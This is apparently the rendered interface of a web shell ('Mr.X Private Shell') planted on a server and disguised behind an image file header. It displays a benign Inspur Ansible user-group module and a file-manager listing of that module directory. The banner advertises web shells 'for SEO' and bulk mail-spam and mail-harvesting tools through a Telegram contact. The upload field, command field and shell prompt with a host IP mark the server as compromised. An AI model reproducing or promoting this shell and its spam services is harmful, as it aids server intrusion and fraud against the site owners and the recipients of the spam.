����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding:utf-8 -*-

# Copyright(C) 2020 Inspur Inc. All Rights Reserved.
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import (absolute_import, division, print_function)

__metaclass__ = type

DOCUMENTATION = '''
---
module: user_group
version_added: "1.1.0"
author:
    - WangBaoshan (@ISIB-group)
short_description: Manage user group.
description:
   - Manage user group on Inspur server.
options:
    state:
        description:
            - Whether the user group should exist or not, taking action if the state is different from what is stated.
        choices: ['present', 'absent']
        default: present
        type: str
    name:
        description:
            - Group name.
            - The range of group name  for M6 model is OEM1,OEM2,OEM3,OEM4.
        required: true
        type: str
    pri:
        description:
            - Group privilege.
            - Required when I(state=present).
            - Only the M5 model supports this parameter.
        choices: ['administrator', 'operator', 'user', 'oem', 'none']
        type: str
    general:
        description:
            - General configuration privilege.
            - Required when I(state=present).
            - Only the M6 model supports this parameter.
        choices: ['enable', 'disable']
        type: str
    power:
        description:
            - Power control privilege.
            - Required when I(state=present).
            - Only the M6 model supports this parameter.
        choices: ['enable', 'disable']
        type: str
    media:
        description:
            - Remote media configuration privilege.
            - Required when I(state=present).
            - Only the M6 model supports this parameter.
        choices: ['enable', 'disable']
        type: str
    kvm:
        description:
            - Remote KVM configuration privilege.
            - Required when I(state=present).
            - Only the M6 model supports this parameter.
        choices: ['enable', 'disable']
        type: str
    security:
        description:
            - Security configuration privilege.
            - Required when I(state=present).
            - Only the M6 model supports this parameter.
        choices: ['enable', 'disable']
        type: str
    debug:
        description:
            - Debug diagnose privilege.
            - Required when I(state=present).
            - Only the M6 model supports this parameter.
        choices: ['enable', 'disable']
        type: str
    self:
        description:
            - Itself configuration privilege.
            - Required when I(state=present).
            - Only the M6 model supports this parameter.
        choices: ['enable', 'disable']
        type: str
extends_documentation_fragment:
    - inspur.sm.ism
'''

EXAMPLES = '''
- name: User group test
  hosts: ism
  connection: local
  gather_facts: no
  vars:
    ism:
      host: "{{ ansible_ssh_host }}"
      username: "{{ username }}"
      password: "{{ password }}"

  tasks:

  - name: "Add user group"
    inspur.sm.user_group:
      state: "present"
      name: "test"
      pri: "administrator"
      provider: "{{ ism }}"

  - name: "Set user group"
    inspur.sm.user_group:
      state: "present"
      name: "test"
      pri: "user"
      provider: "{{ ism }}"

  - name: "Set m6 user group"
    inspur.ispim.user_group:
      state: "present"
      name: "OEM1"
      general: "enable"
      kvm: "enable"
      provider: "{{ ism }}"

  - name: "Delete user group"
    inspur.sm.user_group:
      state: "absent"
      name: "test"
      provider: "{{ ism }}"
'''

RETURN = '''
message:
    description: Messages returned after module execution.
    returned: always
    type: str
state:
    description: Status after module execution.
    returned: always
    type: str
changed:
    description: Check to see if a change was made on the device.
    returned: always
    type: bool
'''

from ansible_collections.inspur.sm.plugins.module_utils.ism import (ism_argument_spec, get_connection)
from ansible.module_utils.basic import AnsibleModule


class UserGroup(object):
    def __init__(self, argument_spec):
        self.spec = argument_spec
        self.module = None
        self.init_module()
        self.results = dict()

    def init_module(self):
        """Init module object"""

        self.module = AnsibleModule(
            argument_spec=self.spec, supports_check_mode=False)

    def run_command(self):
        self.module.params['subcommand'] = 'editusergroup'
        self.results = get_connection(self.module)
        if self.results['State'] == 'Success':
            self.results['changed'] = True

    def show_result(self):
        """Show result"""
        self.module.exit_json(**self.results)

    def work(self):
        """Worker"""
        self.run_command()
        self.show_result()


def main():
    argument_spec = dict(
        state=dict(type='str', choices=['present', 'absent'], default='present'),
        name=dict(type='str', required=True),
        pri=dict(type='str', required=False, choices=['administrator', 'operator', 'user', 'oem', 'none']),
        general=dict(type='str', required=False, choices=['enable', 'disable']),
        power=dict(type='str', required=False, choices=['enable', 'disable']),
        media=dict(type='str', required=False, choices=['enable', 'disable']),
        kvm=dict(type='str', required=False, choices=['enable', 'disable']),
        security=dict(type='str', required=False, choices=['enable', 'disable']),
        debug=dict(type='str', required=False, choices=['enable', 'disable']),
        self=dict(type='str', required=False, choices=['enable', 'disable']),
    )
    argument_spec.update(ism_argument_spec)
    usergroup_obj = UserGroup(argument_spec)
    usergroup_obj.work()


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
ad_group.py File 3.93 KB 0644
ad_group_info.py File 2.18 KB 0644
ad_info.py File 2.14 KB 0644
adapter_info.py File 2.97 KB 0644
add_ad_group.py File 3.45 KB 0644
add_ldap_group.py File 3.42 KB 0644
add_ldisk.py File 6.2 KB 0644
add_user.py File 3.39 KB 0644
add_user_group.py File 2.88 KB 0644
alert_policy_info.py File 2.13 KB 0644
audit_log_info.py File 2.97 KB 0644
auto_capture_info.py File 2.19 KB 0644
backplane_info.py File 2.18 KB 0644
backup.py File 3.09 KB 0644
bios_export.py File 2.36 KB 0644
bios_import.py File 2.44 KB 0644
bios_info.py File 2.1 KB 0644
bmc_info.py File 2.12 KB 0644
boot_image_info.py File 2.17 KB 0644
boot_option_info.py File 2.13 KB 0644
clear_audit_log.py File 2.24 KB 0644
clear_event_log.py File 2.22 KB 0644
clear_system_log.py File 2.72 KB 0644
collect_blackbox.py File 2.35 KB 0644
collect_log.py File 2.37 KB 0644
connect_media_info.py File 2.22 KB 0644
cpu_info.py File 2.11 KB 0644
del_ad_group.py File 2.62 KB 0644
del_ldap_group.py File 2.6 KB 0644
del_session.py File 2.41 KB 0644
del_user.py File 2.52 KB 0644
del_user_group.py File 2.59 KB 0644
dns_info.py File 2.11 KB 0644
download_auto_screenshot.py File 2.37 KB 0644
download_manual_screenshot.py File 2.39 KB 0644
edit_ad.py File 3.92 KB 0644
edit_ad_group.py File 3.66 KB 0644
edit_alert_policy.py File 3.93 KB 0644
edit_auto_capture.py File 2.48 KB 0644
edit_bios.py File 3.03 KB 0644
edit_boot_image.py File 2.58 KB 0644
edit_boot_option.py File 2.92 KB 0644
edit_connect_media.py File 3 KB 0644
edit_dns.py File 6.6 KB 0644
edit_event_log_policy.py File 2.49 KB 0644
edit_fan.py File 2.9 KB 0644
edit_fru.py File 3.01 KB 0644
edit_ipv4.py File 4.28 KB 0644
edit_ipv6.py File 4.44 KB 0644
edit_kvm.py File 6.05 KB 0644
edit_ldap.py File 4.98 KB 0644
edit_ldap_group.py File 3.87 KB 0644
edit_ldisk.py File 3.67 KB 0644
edit_log_setting.py File 4.34 KB 0644
edit_manual_capture.py File 2.49 KB 0644
edit_media_instance.py File 4.81 KB 0644
edit_ncsi.py File 3.41 KB 0644
edit_network.py File 2.83 KB 0644
edit_network_bond.py File 3.06 KB 0644
edit_network_link.py File 3.64 KB 0644
edit_ntp.py File 4.5 KB 0644
edit_pass_user.py File 2.76 KB 0644
edit_pdisk.py File 5.65 KB 0644
edit_power_budget.py File 7.14 KB 0644
edit_power_restore.py File 2.52 KB 0644
edit_power_status.py File 2.59 KB 0644
edit_preserve_config.py File 3.47 KB 0644
edit_priv_user.py File 3.14 KB 0644
edit_psu_config.py File 2.67 KB 0644
edit_psu_peak.py File 2.77 KB 0644
edit_restore_factory_default.py File 3.36 KB 0644
edit_service.py File 4.43 KB 0644
edit_smtp.py File 6.21 KB 0644
edit_smtp_com.py File 5.55 KB 0644
edit_smtp_dest.py File 3.16 KB 0644
edit_snmp.py File 5.55 KB 0644
edit_snmp_trap.py File 6.1 KB 0644
edit_threshold.py File 3.35 KB 0644
edit_uid.py File 2.62 KB 0644
edit_user_group.py File 2.88 KB 0644
edit_virtual_media.py File 5.22 KB 0644
edit_vlan.py File 3.24 KB 0644
event_log_info.py File 2.96 KB 0644
event_log_policy_info.py File 2.19 KB 0644
fan_info.py File 2.11 KB 0644
fru_info.py File 2.11 KB 0644
fw_version_info.py File 2.18 KB 0644
gpu_info.py File 2.15 KB 0644
hard_disk_info.py File 2.16 KB 0644
kvm_info.py File 2.11 KB 0644
ldap_group.py File 3.88 KB 0644
ldap_group_info.py File 2.16 KB 0644
ldap_info.py File 2.12 KB 0644
ldisk_info.py File 2.15 KB 0644
log_setting_info.py File 2.19 KB 0644
media_instance_info.py File 2.22 KB 0644
mem_info.py File 2.13 KB 0644
ncsi_info.py File 2.12 KB 0644
network_bond_info.py File 2.16 KB 0644
network_info.py File 2.14 KB 0644
network_link_info.py File 2.16 KB 0644
ntp_info.py File 2.11 KB 0644
onboard_disk_info.py File 2.17 KB 0644
pcie_info.py File 2.12 KB 0644
pdisk_info.py File 2.15 KB 0644
power_budget_info.py File 2.17 KB 0644
power_consumption_info.py File 2.21 KB 0644
power_restore_info.py File 2.18 KB 0644
power_status_info.py File 2.17 KB 0644
preserve_config_info.py File 2.19 KB 0644
psu_config_info.py File 2.15 KB 0644
psu_info.py File 2.11 KB 0644
psu_peak_info.py File 2.14 KB 0644
raid_info.py File 2.18 KB 0644
reset_bmc.py File 2.18 KB 0644
reset_kvm.py File 2.18 KB 0644
restore.py File 2.84 KB 0644
self_test_info.py File 2.15 KB 0644
sensor_info.py File 2.14 KB 0644
server_info.py File 2.17 KB 0644
service_info.py File 2.15 KB 0644
session_info.py File 2.16 KB 0644
smtp_info.py File 2.12 KB 0644
snmp_info.py File 2.14 KB 0644
snmp_trap_info.py File 2.15 KB 0644
system_log_info.py File 3.35 KB 0644
temp_info.py File 2.13 KB 0644
threshold_info.py File 2.17 KB 0644
uid_info.py File 2.11 KB 0644
update_cpld.py File 2.96 KB 0644
update_fw.py File 3.85 KB 0644
user.py File 4.1 KB 0644
user_group.py File 5.77 KB 0644
user_group_info.py File 2.18 KB 0644
user_info.py File 2.12 KB 0644
virtual_media_info.py File 2.17 KB 0644
volt_info.py File 2.13 KB 0644